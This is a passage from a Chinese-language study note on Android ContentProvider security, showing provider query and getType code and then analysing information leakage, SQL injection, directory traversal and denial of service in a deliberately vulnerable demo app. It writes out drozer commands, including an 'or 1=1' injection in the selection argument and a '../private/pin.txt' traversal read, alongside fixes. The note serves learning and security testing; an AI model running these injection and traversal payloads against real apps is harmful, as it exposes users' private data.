    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) {
        Cursor cursor;
        switch (sUriMatcher.match(uri)) {
            case BOOKS:
                cursor = mDatabase.query(BookContract.BookEntry.TABLE_NAME,
                        projection, selection, selectionArgs, null, null, sortOrder);
                break;
            case BOOK_ID:
                String id = uri.getLastPathSegment();
                cursor = mDatabase.query(BookContract.BookEntry.TABLE_NAME,
                        projection, BookContract.BookEntry._ID + "=?",
                        new String[]{id}, null, null, sortOrder);
                break;
            default:
                throw new IllegalArgumentException("Unknown URI: " + uri);
        }
        // 注册观察者,数据变化时通知
        cursor.setNotificationUri(getContext().getContentResolver(), uri);
        return cursor;
    }

继承ContentProvider的类要重写query、insert、update、delete、getType。

query的例子就是上面展示的这段代码,query 方法的五个参数,本质上对应了 SQL SELECT 语句的各个组成部分。理解它们最直观的方式,就是和 SQL 语句做对照:

SELECT projection FROM table WHERE selection (selectionArgs) ORDER BY sortOrder

URI只负责定位数据源,projection等具体筛选条件,需要客户端自己指定。

query对应的客户端查询代码:

insert的例子如下,ContentValue以键值对的形式存在,代表要插入的字段和值,最终返回新插入的记录:

对应的插入代码:

update和delete类似,不展开了。

还有一个getType方法,作用是告诉调用方,这个URI指向的数据是什么MIME类型。返回值只有两种:

单条记录:vnd.android.cursor.item/自定义。

多条记录(集合):vnd.android.cursor.dir/自定义

一般实现:

@Override
public String getType(Uri uri) {
switch (sUriMatcher.match(uri)) {
    case BOOKS: // 对应 content://.../books(多条)
        return "vnd.android.cursor.dir/vnd." + BookContract.AUTHORITY + ".books";
    case BOOK_ID: // 对应 content://.../books/1(单条)
        return "vnd.android.cursor.item/vnd." + BookContract.AUTHORITY + ".books";
    default:
        throw new IllegalArgumentException("Unknown URI: " + uri);
}
}

9.2 漏洞分析

9.2.1 信息泄露

当Provider导出,且没有做好权限控制时,可能泄露数据。

案例是VulnerableNotesProvider:

run app.provider.query content://com.example.componentsvulns.vulnnotes/notes

9.2.2 SQL注入

Content Provider本质还是对各自数据源进行增删查改,可能会涉及传统的SQL查询语句,这时候就有可能存在SQL注入漏洞。

案例还是VulnerableNotesProvider,这里跟进查询方法SqlTexts.vulnerableNotesQuery:

selection直接拼接到where之后,存在SQL注入。

run app.provider.query content://com.example.componentsvulns.vulnnotes/notes --selection "_id=13"

run app.provider.query content://com.example.componentsvulns.vulnnotes/notes --selection "_id=13 or 1=1"

drozer还有扫描uri和漏洞的功能:

run scanner.provider.finduris -a com.example.componentsvulns
run scanner.provider.injection -a com.example.componentsvulns
run scanner.provider.traversal -a com.example.componentsvulns

修复的话,使用参数化即可,order by用白名单。

9.2.3 目录遍历

当Provider内实现了文件读取的逻辑时,可能出现目录穿越。

案例是VulnerableNotesProvider:

安卓的文件结构是:/data/data/com.xx.xx

所以这里DemoFiles.demoDir(getContext())的结果是 /data/data/com.example.componentsvulns/files/demo

由于没对路径穿越符号校验,因此可以将name参数修改为../private/pin.txt去实现文件读取:

run app.provider.read content://com.example.componentsvulns.vulnnotes/file?name=../private/pin.txt

修复方案是先规范化路径,然后再检查是否在白名单内。

9.2.4 拒绝服务

同其他组件。

10 后记

一点个人碎碎念。

也许在AI时代下,学习这种“过时”知识的必要性已经越来越小,但自己把知识整理好,写成笔记的成就感依然存在。在学习各种日新月异的AI知识时,不妨留一点时间给自己,研究一些“过时”的内容,或许就能感受到来时的初心。

11 参考

https://bbs.kanxue.com/thread-269211.htm Activity

https://bbs.kanxue.com/thread-269255.htm Service

https://bbs.kanxue.com/thread-269309.htm BroadCast

https://bbs.kanxue.com/thread-269447-1.htm Provider

Android APP-四大组件安全测试

Android四大组件常见漏洞

所按非所得——聊一聊StandHogg漏洞